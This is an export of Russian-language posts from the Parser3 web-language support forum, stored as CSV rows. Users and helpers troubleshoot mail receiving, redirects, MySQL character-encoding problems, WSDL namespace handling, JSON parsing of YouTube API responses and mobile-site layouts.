2. Снова загрузил HEAD версию [code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co parser3[/code]\
3. Поправил файл buildall, где заменил [code]lib=\"pcre-8.33\"[/code] на  [code]lib=\"pcre-8.36\"[/code]\
4. Далее [code]./buildall --with-mailreceive --strip --disable-safe-mode[/code]\
\
Протестировал из веба и из рута - работает всё кроме $mail:receive\
\
Проверяю так, собственно такую задачу и решаю. Надо чтобы при отправке письма на robot@e.zzzzzzz.ru, срабатывал скрипт, который обрабатывает почту. Делаю так:\
1. В файл /etc/aliases прописываю строку robot:  \"| /var/...www/mail.prs\"\
где mail.prs:\
[code]#!/var/www/.../www/cgi-bin/parser3.cgi\
@main[]\
^mail:send[\
	$.from[vasil@....com]\
	$.to[vruzin@....ru]\
	$.charset[windows-1251]\
	$.subject[Пришло письмо]\
	$.html{Пришло письмо<br/>\
		<pre>^untaint[html]{$mail:receive}</pre>\
	}\
][/code]\
2. Отправляю на robot@e.zzzzzzz.ru письмо (с текстом), скрипт его обрабатывает, отправляет мне письмо, но в $mail:receive пусто.\
\
Значит $mail:receive не работает... Прям Бермуды!"
"80936","2moko, наверное стоит сделать так:\
[code]\
Value* VMail::get_element(const String& aname) {\
...\
\
-	return 0;\
+	throw Exception(PARSER_RUNTIME, &aname, \"field not found\");\
}\
[/code]\
\
а то обращение к несуществующему полю молча проглатывается."
"80937","$mail:received - вызывает ошибку.\
\
То что написали 2moko я тоже попробовал сделать, но проблема не решилась.\
'receive' field not found [parser.runtime]\
\
Так что еще можно сделать? Мне надо получать содержание письма, которое пришло на скрипт..."
"80938","об этом и написано в доке.\
то, что я писал для Кости -- это как раз про выдачу ошибки в случае, если пытаются обращаться не к нужному received.\
\
[quot]$mail:received - вызывает ошибку.[/quot]\
самое время поделиться секретом и расказать, что за ошибка :)\
\
возможно ошибка тут (пальцем в небо):\
[code]\
	$.html{Пришло письмо<br/>\
		<pre>^untaint[html]{$mail:receive}</pre>\
	}\
[/code]\
\
если исправить receive на received то будет exception, т.к. в $mail:received хеш, а вы его подставляете туда, где должна быть строка. попробуйте для начала написать $mail:received.subject"
"80942","Хочу по нажатию Кнопки фоомировать кук и отправлять в другой раздел.\
\
[code]<form method=\"get\">\
<input type=\"submit\" name=\"ord\" value=\"Заказать $cmonbabe!\" class=\"order\">\
</form>\
^if(def $form:ord){\
\
$cookie:wanted[ \
   $.value[$cmonbabe] \
   $.expires(0.0014) \
]\
$response:location[/GO/#now]\
}[/code]\
\
Что интересно, эта конструкция response прекрасно работает внутри страницы: перезагружает её, подкручивая к указанному id, - но вместо нужной в данном случае отправки на внешнюю страницу [i]/GO/#now[/i] уводит на [i]./?submit=Заказать+бла+бла%21[/i].\
\
Подскажите, пожалуйста, чем заменить."
"80943","у вас так называемый \"внутренний редирект\", это когда ссылка отдаётся браузеру и он загружает и отображает указанную в ней страницу, НО не меняет url в адресной строке. в результате url остаётся тот, который там был после предыдущего запроса (в ващем случае GET запроса после сабмита формы).\
\
а вам нужен \"внешний редирект\", который делает тоже-самое, но ещё говорит браузеру, что надо изменить url в адресной строке. чтобы сообщить об этом браузеру, url в location надо выдавать не относительный, а абсолютный, с протоколом и именем домена."
"80946","[code]\
@USE\
class.p\
\
@main[]\
...code...\
^use[module.p]\
...code...\
\
\
@CLASS\
class\
\
@USE\
module.p\
\
@create[]\
...code...\
[/code]\
\
module.p/@auto[] будет выполнен только 1 раз, в приведённом случае во время выполнения @USE в класса class.\
\
http://www.parser.ru/docs/lang/defineclass.htm"
"80947","Задача: разработка сайтов на базе CMS.\
Требования: Parser, MySQL, JavaScript.\
Оплата: сдельная.\
Связь: r.virchenko@yandex.ru"
"80948","Переехал на новый хостинг-панель infobox.ru и у них там Linux CloudLinux 6.5\
выдает ошибку libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory потому что стоит сборка на redhat и вызывает ошибку /var/www/vhosts/22/135128/webspace/cgi-bin/lib/libparser3mysql.so этот файл. Вопрос: какую сборку надо ставить парсера, потому что в \"скачать\" такого нет)))"
"80949","т.е. вот в таком варианте\
\
[code]@main[]\
...code...\
^use[module.p]\
...code...[/code]\
\
module.p/@auto[] не будет выполнено вообще. я правильно понял?"
"80951","а бы данное разъяснение добавил в доку по ^use[]\
чтото типа такого: если модуль подключается в первый раз, то секция @auto[] подключаемого модуля будет исполнена."
"80952","там примерно так и написано. по приведённой ранее ссылке:\
[quot]\
Если определен метод…\
@auto[]\
код\
\
…он будет выполнен автоматически при загрузке класса как статический метод (так называемый статический конструктор). Используется для инициализации статических полей (переменных) класса. \
[/quot]\
\
на странице про ^use[]\
[quot]\
Замечание: попытки подключить уже подключенные ранее модули не приводят к повторным считываниям файлов с диска. \
[/quot]"
"80953","Думаю правильнее собрать из исходников, только берите HEAD версию, в релизе некоторые пути к библиотекам уже устарели."
"80954","Случайно обнаружил, что русские буквы, кажется И и Ш, сохраняются в базу некорректно.\
\
В авто стоит $request:charset[utf-8]\
$response:charset[utf-8]\
\
$connect_string[mysql://*****************?charset=cp1251]\
\
Интересует, есть ли решение кроме автозамены? Только эти буквы надо заменять или есть еще? Спасибо."
"80955","1. в какой кодировке БД/таблица? версия mysql сервера?\
2. что показывает _test.html на предмет кодировок?\
\
вообще указанные буквы при перекодировке utf<=>1251 биться не должны. есть ощущение, что у вас в БД/таблице указана какая-нить иная кодировка. это надо поправить.\
\
лучший вариант вообще избавиться от перекодировок: сделать, чтобы mysql хранил данные в utf-8."
"80956","В БД стоит utf8_unicode_ci, как и в таблицах. Потому что там есть &#246;&#252;&#228;&#245;.\
\
Всё работало на других проектах, пока не понадобилось использовать AJAX. При отправке данных формы выясняется, что данные к парсеру посупают как-надо. То есть \"Илья\" это \"Илья\". Но в базу вставляется криво как \"&#65533;?лья\".\
\
Попробовал убрать ?charset=cp1251, тогда добавляет как есть \"Илья\". Но при выводе в json обработчик выкидывает null, в обработчике стоит 	mysql_set_charset('cp1251',$db); \
utf-8 или вообще убрать строку не помогло. Вернулись к исходной.\
\
_test.html у себя не нашел, чтобы проверить."
"80957","set charset работает плохо и не все параметры mysql меняет в выбранную локаль, если сайт не в кодировке БД, и судя по описанию проблемы вы с ней и столкнулись :)\
\
попробуйте ^void:sql{SET NAMES utf8}, а в php - mysql_query(\"SET NAMES utf8\")\
\
http://stackoverflow.com/questions/1566602/is-set-character-set-utf8-necessary"
"80958","Брать тут - http://www.parser.ru/download/utils/"
"80959","При запуске выдает такую ошибку. \
\
change_case_UTF8 error: end pointers do not match"
"80961","и чего вы ожидали?\
\
данные из формы приходят в utf-8.\
парсер отдаёт их mysql драйверу как есть (в utf-8).\
но опцией ?charset=cp1251 (и mysql_set_charset('cp1251',$db)) вы говорите mysql-ю, что данные приходят в 1251.\
\
mysql вас слушает и перекодирует пришедшие данные из 1251 в utf8 и сохраняет в БД.\
очевидно, что это перекодирование средствами mysql-я лишнее и данные при этом перекодировании с большой вероятностью поломаются.\
\
сейчас в БД у вас всё плохо: данные хранятся с лишним перекодированием. надо их достать (dump), перекодировать из utf-8 в 1251 и подложить обратно (для начала лучше загрузить их в другую БД, чтобы потестировать). только после этого можно избавиться от указания ?charset=cp1251 и mysql_set_charset('cp1251',$db);\
\
причём надо разбираться, всё ли данные лишний раз перекодированы или нет. и перекодировать обратно только то, что \"кривое\"."
"80962","Спасибо за помощь. Пришлось ручками переправить данные таблицы и поправить кодировки."
"80963","Правда теперь csv не работает. :-В"
"80965","В чем же тогда может быть затык?"
"80966","Здравствуйте.\
Есть WSDL, в котором в разных узлах прописано xmlns:AAA, xmlns:BBB и т.д.\
Через attributes взять эти значения не получается, т.к. они там не хранятся.\
Перебираю узлы через DOM.\
\
Как для любого узла WSDL получить все xmlns:XXX?"
"80967","элемент вроде как может быть только в одном NS и получить его можно с помощью $node.prefix и $node.namespaceURI."
"80968","xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xs1=\"NS1\" xmlns:xs2=\"NS2\" xmlns:xs3=\"NS3\" targetNamespace=\"NS\" elementFormDefault=\"qualified\"\
xs:element name=\"Element1\" type=\"NS1:Type1\"\
\
Нужно получить NS1, NS2 и NS3, чтобы правильно взять комплексный тип."
"80969","не понимаю сути проблемы.\
вы траверсите DOM-дерево.\
т.е. у вас есть элемент. у него вы можете спросить, в каком он NS и какой у него NS-префикс.\
\
в чем проблема-то?\
\
[code]\
@main[]\
$x[^xdoc::create{<?xml version=\"1.0\"?>\
<r xmlns:xs1=\"NS1\" xmlns:xs2=\"NS2\" xmlns:xs3=\"NS3\">\
<xs3:element name=\"Element1\" xs1:type=\"Type1\">zzz</xs3:element>\
<xs3:element name=\"Element2\" xs2:type=\"Type2\" />\
</r>}]\
\
$h[^hash::create[]]\
\
<pre>\
^taint[\
$n[$x.documentElement.firstChild]\
^while($n){\
	^node[$n]\
	$n[$n.nextSibling]\
}\
]\
</pre>\
\
^h.foreach[k;v]{$k=$v}[<br />]\
\
\
@node[n]\
$result[^switch[$n.nodeType]{\
	^case[$xdoc:ELEMENT_NODE]{<^qn[$n]^if($n.attributes){^n.attributes.foreach[;a]{ ^qn[$a]=\"$a.nodeValue\"}}>^if($n.firstChild){^node[$n.firstChild]}</^qn[$n]>}\
	^case[$xdoc:TEXT_NODE]{$n.nodeValue}\
}]\
\
\
\
@qn[node]\
$h.[$node.prefix][$node.namespaceURI]\
$result[^if(def $node.prefix){${node.prefix}:}$node.nodeName]\
\
[/code]"
"80970","Вот тестовый WSDL:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<definitions xmlns=\"http://schemas.xmlsoap.org/wsdl/\"\
		xmlns:soap12bind=\"http://schemas.xmlsoap.org/wsdl/soap12/\"\
		xmlns:soapbind=\"http://schemas.xmlsoap.org/wsdl/soap/\"\
		xmlns:tns=\"NS\"\
		xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\
		xmlns:xsd1=\"NS1\"\
		xmlns:xsd2=\"NS2\"\
		xmlns:xsd3=\"NS3\"\
		name=\"NS\"\
		targetNamespace=\"NS\">\
	<types>\
		<xs:schema xmlns:tns=\"NS3\"\
				xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\
				targetNamespace=\"NS3\"\
				attributeFormDefault=\"unqualified\"\
				elementFormDefault=\"qualified\">\
			<xs:complexType name=\"Type1\">\
				<xs:sequence>\
					<xs:element name=\"Param1\"\
							type=\"xs:integer\"\
							nillable=\"true\"/>\
					<xs:element name=\"Param2\"\
							type=\"xs:string\"\
							nillable=\"true\"/>\
				</xs:sequence>\
			</xs:complexType>\
		</xs:schema>\
		<xs:schema xmlns:tns=\"NS2\"\
				xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\
				targetNamespace=\"NS2\"\
				attributeFormDefault=\"unqualified\"\
				elementFormDefault=\"qualified\">\
			<xs:complexType name=\"Type2\">\
				<xs:sequence>\
					<xs:element name=\"Param1\"\
							type=\"xs:string\"/>\
				</xs:sequence>\
			</xs:complexType>\
		</xs:schema>\
		<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\
				xmlns:xs1=\"NS3\"\
				xmlns:xs2=\"NS2\"\
				xmlns:xs3=\"NS1\"\
				targetNamespace=\"NS\"\
				elementFormDefault=\"qualified\">\
			<xs:import namespace=\"NS3\"/>\
			<xs:import namespace=\"NS2\"/>\
			<xs:element name=\"Operation1\">\
				<xs:complexType>\
					<xs:sequence>\
						<xs:element name=\"Param1\"\
								type=\"xs1:Type1\"/>\
					</xs:sequence>\
				</xs:complexType>\
			</xs:element>\
			<xs:element name=\"Operation1Response\">\
				<xs:complexType>\
					<xs:sequence>\
						<xs:element name=\"return\"\
								type=\"xs2:Type2\"/>\
					</xs:sequence>\
				</xs:complexType>\
			</xs:element>\
		</xs:schema>\
	</types>\
	<message name=\"Operation1RequestMessage\">\
		<part name=\"parameters\"\
				element=\"tns:Operation1\"/>\
	</message>\
	<message name=\"Operation1ResponseMessage\">\
		<part name=\"parameters\"\
				element=\"tns:Operation1Response\"/>\
	</message>\
	<portType name=\"PortType1\">\
		<operation name=\"Operation1\">\
			<input message=\"tns:Operation1RequestMessage\"/>\
			<output message=\"tns:Operation1ResponseMessage\"/>\
		</operation>\
	</portType>\
	<binding name=\"SoapBinding1\"\
			type=\"tns:PortType1\">\
		<soapbind:binding style=\"document\"\
				transport=\"http://schemas.xmlsoap.org/soap/http\"/>\
		<operation name=\"Operation1\">\
			<soapbind:operation style=\"document\"\
					soapAction=\"NS#NS1:Operation1\"/>\
			<input>\
				<soapbind:body use=\"literal\"/>\
			</input>\
			<output>\
				<soapbind:body use=\"literal\"/>\
			</output>\
		</operation>\
	</binding>\
	<binding name=\"Soap12Binding1\"\
			type=\"tns:PortType1\">\
		<soap12bind:binding style=\"document\"\
				transport=\"http://schemas.xmlsoap.org/soap/http\"/>\
		<operation name=\"Operation1\">\
			<soap12bind:operation style=\"document\"\
					soapAction=\"NS#NS1:Operation1\"/>\
			<input>\
				<soap12bind:body use=\"literal\"/>\
			</input>\
			<output>\
				<soap12bind:body use=\"literal\"/>\
			</output>\
		</operation>\
	</binding>\
	<service name=\"NS\">\
		<port name=\"Soap1\"\
				binding=\"tns:SoapBinding1\">\
			<documentation> \
				<wsi:Claim xmlns:wsi=\"http://ws-i.org/schemas/conformanceClaim/\"\
						conformsTo=\"http://ws-i.org/profiles/basic/1.1\"/>\
			</documentation>\
			<soapbind:address location=\"URL1\"/>\
		</port>\
		<port name=\"Soap121\"\
				binding=\"tns:Soap12Binding1\">\
			<soap12bind:address location=\"URL2\"/>\
		</port>\
	</service>\
</definitions>[/code]\
В вашем примере xs3:element, а в моем везде xs:element.\
\
Для Operation1 мне нужно получить Param1=Type1 и xs1=NS3, чтобы знать, откуда брать тип."
"80971","Я тоже так думаю, что лишнее перекодирование. Такак данных в таблице не так много было, переправили все битые данные. И убрали лишнее перекодирование."
"80972","После того как в база стало все ок, и данные сохраняются и отобраются корректно, в том числе в json, вывод данных в другом месте через создание csv файла на основе конструкции\
\
$out_xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?> <rows>***</row> }[\\r\\n]\
\
</rows>}] \
\
перестало работать. Пишет 'create' Entity: line 2: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xB5 0x72 0x75 0x3C. НУ это и понятно, потому что csv. содержит недопустимые символы вроде Р­СЂРЅРµСЃС‚ Р‘РѕРЅРґР°СЂРµРЅРєРѕ. Сдается мне, дело опять в кодировке.\
\
Попробовал ^void:sql{SET NAMES utf8}\
Таблица появляется по крайней мере, но символы не читабельны на русском. Продолжаем экзорцизм."
"80973","Думается, от недосыпа пропускаю какие-то очевидности.\
\
Вывод на страницу через ^print.menu{} выводит русское на русском. Но, в то же время, в том же файле ^print.save[/csv.csv;$.separator[^;] $.encloser[\"]] Сохраняет белиберду."
"80974","С прерыдущим вопрос разобрались, спасибо. Но тут такое дело.\
\
Описываю. Берем данных из базы данных MySql. Выводим данные на страницу в виде немаркированного списка. Русские буквы читаются нормально, всё нормально.\
\
А вот сохраняем файл и в нем мы видим иероглифы вместе русские букв. скажите, доктор, это нормально?\
\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
 ^print.save[/csv.csv;$.separator[^;] $.encloser[\"]]\
\
Нужна помощь зала!"
"80975","А то может он utf не понимает, или не ожидает. \
И еще из прошлой темы не понял связи между xdoc и сделанным с его помощью csv, проясните что именно и как вы сохраняете."
"80976","проблема буферизации связана со сжатием (gzip, deflate), если нужно чтобы результат не кешировался - сжатие нужно отключить"
"80977","Итак, что у нас было в начале.\
\
В авто было \
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
$connect_string[mysql://**?codepage=cp1251]\
\
Мы получали ошибку двойного кодирования и поэтому, например, неправильно сохранялись некоторые русские буквы. С этим вопросом я пришел на форум. В тот момент в другой части системы и xml и csv создавались как надо.\
\
Что мы сделали, убрали кодировку для строки соединения, так как у парсера по-умолчанию и так идет utf-8.\
\
Теперь данные в базу и вывод из нее отображались на понятном языке, но пришлось заново отредактировать те записи, которые содержали русские символы в старой кодировке. База была небольшой, открывали запись, редактировали и сохраняли. То есть, в принципе, все стало работать как раньше, но еще и решилась проблема некоторых русских символов, которая и беспокоила в начале.\
\
Но теперь перестало работать то место, где идет создание xml и csv. Спутанно объяснил, но в принципе, ошибка и там и там одна и та же. Хотя csv не проверяли, мы использовали его когда-то и зачем-то.\
\
А иксэмел используется для формирования таблицы в виде сетки.\
\
Обычный файл, в котором вот такой простой код.\
\
@main[]\
\
^connect[$connect_string]{\
\
$print[^table::sql{SELECT *******}]\
\
}\
\
\
$out_xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?> <rows>\
^print.menu{<row id=\"$print.id\"> <cell>$print.nimi $print.perekonnanimi</cell> *****</row> }\
</rows>}] \
\
\
^out_xml.save[/oe/grid.xml]\
\
Теперь этот код вызывает ошибку парсера. 'create' Entity: line 2: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xB5 0x72 0x75 0x3C\
\
Вот такая история. Поэтому свежие мысли приветствуются. Вроде и документацию пересмотрел заново Парсера, и проверил поплясать с бубном. Пока не решается задача."
"80978","Таблица, из которой выбираются данные для XML в какой кодировке?\
\
Что за данные с байтами 0xB5 0x72 0x75 0x3C извлекаются?\
Попробуйте обернуть в try и сохранить результат select'а в файл, затем изучить оный."
"80979","Всем спасибо. Оказывается, всё дело в невнимательности. Пока правили записи, содержащие русские символы, не обратили внимание на поле город, в котором были такие города как P&#228;rnu, V&#245;ru, T&#245;rva. И, разумеется, они были некорректными. Теперь все поправили, и все заработало как раньше."
"80980","как добраться до @type -- понятно\
а как из его строкового значения \"xs1:Type1\" получить обращение к namespaceURI=NS3 -- я не представляю.\
и как стандартными механизмами получить список определённых NS я тоже не знаю :("
"80981","Подскажите как дальше быть - хочу написать приблуду которая цепляет инфу о видео через Youtube API\
запускаю так: [code]$s[^curl:load[$.ssl_verifypeer(0)$.url[https://www.googleapis.com/youtube/v3/videos?id=${aRequest.vid}&key=$serverApiKeyHome&fields=items(id,snippet(publishedAt,title,description,thumbnails(medium,high),tags),contentDetails(duration),statistics(viewCount))&part=snippet,contentDetails,statistics]$.useragent[Parser3]$.timeout(10) ]]\
[/code]\
По сути приходит файл с такой структурой:\
[code]{\
 \"items\": [\
  {\
   \"id\": \"qEXm60BXalU\",\
   \"snippet\": {\
    \"publishedAt\": \"2015-03-14T18:26:57.000Z\",\
    \"title\": \"Some title\",\
    \"description\": \"some description\",\
    \"thumbnails\": {\
     \"medium\": {\
      \"url\": \"https://i.ytimg.com/vi/qEXm60BXalU/mqdefault.jpg\",\
      \"width\": 320,\
      \"height\": 180\
     },\
     \"high\": {\
      \"url\": \"https://i.ytimg.com/vi/qEXm60BXalU/hqdefault.jpg\",\
      \"width\": 480,\
      \"height\": 360\
     }\
    }\
   },\
   \"contentDetails\": {\
    \"duration\": \"PT3H22M6S\"\
   },\
   \"statistics\": {\
    \"viewCount\": \"142\"\
   }\
  }\
 ]\
}[/code]\
\
Соответственно когда вызываю [code]$s[^json:parse[^untaint[json]{$s};$.double(false) $.taint[json]]][/code] выдает ошибку  is 'file', it has no string representation \
\
Дак как добраться до этих JSON данных чтобы преобразовать их в массив и прочие операции произвести?"
"80982","[code]\
- $s[^curl:load[...]]\
- $s[^json:parse[^untaint[json]{$s};$.double(false) $.taint[json]]]\
+ $f[^curl:load[...]]\
+ $s[^json:parse[^untaint[as-is]{$f.text};$.double(false) $.taint[json]]]\
[/code]"
"80983","В ваш $s приходит объект класса file\
\
он по мимо содержания имеет и размер и прочие поля (см.документацию)\
\
стало быть вам надо передать [i]содержимое[/i] файла\
\
В вашем случае это видимо будет, что-то типа:\
[code]\
\
# $s - is file\
# $s.text - is string\
# $s_hash - будет is hash\
\
$s_hash[^json:parse[^untaint[json]{$s.text}]]\
[/code]"
"80984","Спасибо! Теряешь сноровку когда по полгода не обращаешься к коду((("
"80985","А как-нибудь перегнать узел xnode в HTML/text можно?\
\
Раз нет централизованного способа получения значений xmlns, так хоть из текста выдрать для дальнейшей работы."
"80986","на удивление ns-ы попадают в результирующую строку (только что проверил).\
\
но мне кажется, что надо попробовать найти решение средствами xml. наверняка оно есть (я просто не силён в xml-е с ns-ами)."
"80987","В документации не нашел у xnode такого метода, только \"^документ.string[]\" у xdoc."
"80988","Миша имел ввиду свой класс Node.p отсюда - http://www.parser.ru/examples/lib/"
"80989","Как я понял, там создается пустой xdoc и в него добавляется элемент xnode, но проблема в том, что для получения текста одного тега types->scheme будет добавляться больше половины текста WSDL.\
\
Интересует вариант получения самой строки без вложений, т.е.\
[code]<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\
				xmlns:xs1=\"NS3\"\
				xmlns:xs2=\"NS2\"\
				xmlns:xs3=\"NS1\"\
				targetNamespace=\"NS\"\
				elementFormDefault=\"qualified\">[/code]"
"80990","но ведь вы делаете эту строку для того, чтобы ковыряться в ней руками match-ем, для поиска xmlns:xyz, ведь так? тогда какая вам разница что там будет дальше, ведь всё равно вы ковыряться вы будете между первыми < и >.\
\
P.S. я бы всё таки пробовал решить задачу средствами xml. например [url=http://www.w3.org/TR/xpath-functions/#func-QName]функция fn:resolve-QName[/url] выглядит подходящим кандидатом, чтобы попробовать её применить для резолва строки \"ns1:Type1\"."
"80991","Можно поподробнее насчет fn:resolve-QName, как ее применять в парсере?"
"80993","Приветствую...\
\
У меня есть несколько классов с одинаковыми именами [b]Item[/b]\
в принципе они не должны никогда пересекаться и раньше проблем не было, но сейчас понадобилось из одного метода класса [b]Item[/b] вызвать другой метод ДРУГОГО класса [b]Item[/b]\
\
на 3.4.2 это работало, но после обновления парсера до 3.4.3 стало выдавать ошибку\
[quote]Item - class is already defined[/quote]\
можно ли как-то малыми силами обойтись, без выноса метода в отдельный файл/класс?\
\
Может чем-то \"обернуть\" его? чтобы имена не пересекались?"
"80994","[quote]При загрузке класса с именем, которое уже существует у одного из загруженных классов, теперь по умолчанию выдаётся исключение (exception). Отключить его можно с помощью указания опции $.replace(true) у ^use[] и ^process{}[/quote]\
Новости читаем более внимательно и доки http://www.parser.ru/docs/lang/opuse.htm"
"80996","Хочу сделать контент зависимым от ширины экрана. Чтобы меню отображалось так-то, а при просмотре со спичечного коробка - сяк-то. Чтобы для мобил каких-то блоков вообще не было. И так далее.\
\
Самое быстрое и вкусное, если закрыть глаза на поисковики*, - частично упаковать контент в CSS. Ну, типа: http://jsfiddle.net/cmwwebfx/N4dBG/ .\
\
А можно ли, чтобы не засорять хтмл цссом, назначить парсер обработчиком CSS-файлов и вписать в CSS не контент со всеми пирогами, а просто вызывать оттеда ^mobile_nav[], прописанный в auto.p?\
\
__________\
\
* - это отдельный вопрос, если кто знает. Поисковики уважат юзероориентированность или, наоборот, забьют на контент блоков, которых нет в html?"
"80997","Это самый лучший вариант.\
\
Вариант похуже — опознавать клиента и выдавать HTML со ссылкой на другой стилевой файл.\
\
Дёргать же CGI для обработки стилей — плохой выбор."
"80998","Первый сделать отдельную версию под мобилки, отдельный шаблон + свои стили и на основание агента его показывать или делать редирект на поддомен.\
Тут, в принципе уже будет все равно какая ширина. Расположение блоков у всех мобильных интерфейсов идентичное, меняется только ширина и высота, это все можно разрулить через стили.\
\
Второй вариант изначально спроектировать дизайн так, чтобы можно было без болезненно менять внешний вид только стилями, как уже написали ниже это responsible design.\
\
У каждого варианта свои плюсы и минусы, в интернете встречаются оба. Все зависит от проекта, и поставленных целей.\
\
Первый вариант будет экономить трафик, тогда как второй не особо, зато внешний вид сайта, на всех устройствах будет наиболее схож и не вызывать дискомфорта."
"80999","Добрый день! Подскажите пожалуйста, как сделать проверку на существующей  login в bd mysol, то есть при регистрации нового пользователя нужно чтобы выводилось предупреждение о том что такой login уже существует."
"81000","В корне сайта в файле .htaccess, вставил вот это\
RewriteCond %{HTTP_USER_AGENT} (?i:midp|samsung|iphone|android)\
RewriteRule ^(/)?$ http://m.ваш домен.рф/ [R=301]"
"81001","и где возникают трудности.\
С ними вам помогут."
"81002","а проблем с поддержкой хватает.\
\
Также, требуется дополнительная работа по перелинковке метатегами основной и мобильной версии, дабы избегать дублирования контента и корректно дать индексировать мобильную версию поисковым роботам.\
\
Рекомендация того же Google — адаптивный сайт."
"81003","Добавляю пользователя в админ панели сайта:\
 @USE\
nconvert.p\
\
@main[]\
\
  ^oSql.server{\
    $auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$oSql]]]\
}\
^login_form[]\
\
\
\
@all[]\
^if($auth_data.user.groups.rights == 777){^user_add[]}{<h4>Не достаточно прав</h4>}\
\
@user_add[]\
^oSql.server{\
$status[^table::sql{select Id, name, is_published from status where is_published=1 order by name desc}]\
}\
\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
\
<form method=\"POST\" enctype=\"multipart/form-data\">\
\
$now[^date::now[]]\
\
<table border=0 align=center id=content>\
<tr>\
\
	<td>\
	<h3>добавление нового пользователя</h3>\
	<input type=\"text\" name=\"login\" id=textfield1> *Логин</td>\
</tr>\
\
<tr>\
	<td>\
	<input type=\"password\" name=\"code\" value=\"^password.left(10)\" size=\"20\" />	*Пароль<br>\
	<input type=\"password\" name=\"code2\" value=\"^password.left(10)\" size=\"20\" />	*Повтор пароля\
	</td>\
</tr>\
\
<tr>\
	<td><input type=\"text\" name=\"fio\" id=textfield1> *Фамилия Имя Отчество</td>\
</tr>\
\
<tr>\
	<td><input type=\"text\" name=\"email\" id=textfield1> E-mail</td>\
</tr>\
\
<tr>\
	<td><input type=\"text\" name=\"icq\" id=textfield1> ICQ</td>\
</tr>\
\
<tr>\
	<td><input type=\"text\" name=\"skype\" id=textfield1> Skype</td>\
</tr>\
\
\
\
<tr>\
	<td>\
	^if($auth_data.user.groups.rights == 777){\
	 <SELECT size=0 width=50 name=\"status\">\
	 ^status.menu{<OPTION value='$status.Id'>$status.name</OPTION>}\
	 </SELECT>\
	}\
	</td>\
</tr>\
\
<tr>\
	<td><input type=\"tel\" name=\"mobile_p\" id=textfield1> Телефон</td>\
</tr>\
\
<tr>\
	<td>Прикрепить фото: <input type='file' name=\"picture\" size=50><br> (Картинка не должна превышать 200px в ширину)<p></td>\
</tr>\
\
<tr>\
	<td><input type=\"checkbox\" name=\"is_published\" id=textfield1 checked> Активен ?</td>\
</tr>\
\
<tr>\
	<td class=\"tooltip\"><input type=\"checkbox\" name=\"rights\" id=textfield1>Дать права супер администратора, на управление сайтом?<span class=\"custom info\"><img src=\"/images/Info.png\" alt=\"Информация\" height=\"48\" width=\"48\" /><em>Информация</em>У пользователя ограниченые возможности управлением сайта!</span></td>\
</tr>\
\
</table>\
<font color=red>Проверьте введыне вами данные!</font> <input type=\"submit\" value=\"Добавить\" name=\"post\" align=right>\
\
</form>\
\
^if(def $form:post){^if(def $form:login && $form:code eq $form:code2 && def $form:fio){^proceed[]}{^check[]}}\
\
@proceed[]\
      ^MAIN:dbconnect{\
\
		^rem{ *** создаем объект класса auth *** }\
		$auth[^auth::init[$cookie:CLASS;;$.csql[$oSql]]]\
\
         ^void:sql{insert into auser\
            (name, passwd, fio, status_id, phone, email, icq, skype, dt_register, ip, auser_reg, is_published, rights, admin)\
         values (\
		'$form:login',\
		'^auth.cryptPassword[$form:code]',\
		'$form:fio',\
		'$form:status',\
		'$form:mobile_p',\
		'$form:email',\
		'$form:icq',\
		'$form:skype',\
	        '^date_now.sql-string[]',\
		'$ip',\
		'$auth_data.user.id',\
		^if(def $form:is_published){'1'}{'0'},\
		^if(def $form:rights){'777'}{'0'},\
		'0'\
         )\
}\
   $last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM auser}[$.limit{1}]]\
}\
\
^if(def $form:picture){^upload[$form:picture]}{\
^connect[$SQL.connect-string]{\
      ^void:sql{insert into files_data\
         (objects_id, uri, type_)\
      values\
         ('$last_id', '' , 'auser_picture')\
      }\
}\
\
}\
\
# проверка на введенные данные\
@check[]\
<b><font color=red>Не указано:</font></b>\
^if(def $form:fio){$fio[1]}{<br>Фамилия Имя Отчество}\
^if(def $form:login){$login[1]}{<br>Логин}\
^if(def $form:status){$status[1]}{<br>должность }\
^if($form:code ne $code2){<br>Пароли не совпадают}\
\
@upload[picture]\
$ext[^file:justext[$picture.name]]\
$ext[^ext.lower[]]\
^if($ext eq \"jpg\" ||\
	$ext eq \"gif\" ||\
	$ext eq \"png\"){\
	$rash[^file:justext[$picture.name]]\
	$rnd[^math:random(1000)]\
\
$sText[$picture.name]\
$path[^sText.replace[^table::load[/translate.dat]]]\
\
		^picture.save[binary;/komanda_kompanii/pictures/${rnd}_${path}]\
\
		$picture[/komanda_kompanii/pictures/${rnd}_${path}]\
^oSql.server{\
\
      ^void:sql{insert into files_data\
         (objects_id, uri, type_)\
      values\
         ('$last_id', '$picture' , 'auser_picture')\
      }\
\
}\
	$result[<h1>Пользователь добавлен</h1>]\
}{\
	$result[<h1>Вы пытаетесь загрузить не фото..</h1>]\
}\
\
</center>\
\
все хорошо а вот проверку на уже имеющийся такой login сделать не могу помогите, заранее спасибо."
"81004","Вы действительно думаете, что кто-то будет разбираться в этой простыне неформатированного кода?\
\
У вас есть конкретная проблема, покажите как вы именно её пытаетесь решить, выкладывать посторонний код не нужно.\
\
[url=\"http://www.parser.ru/faq/forum/\"]Использование форума[/url]\
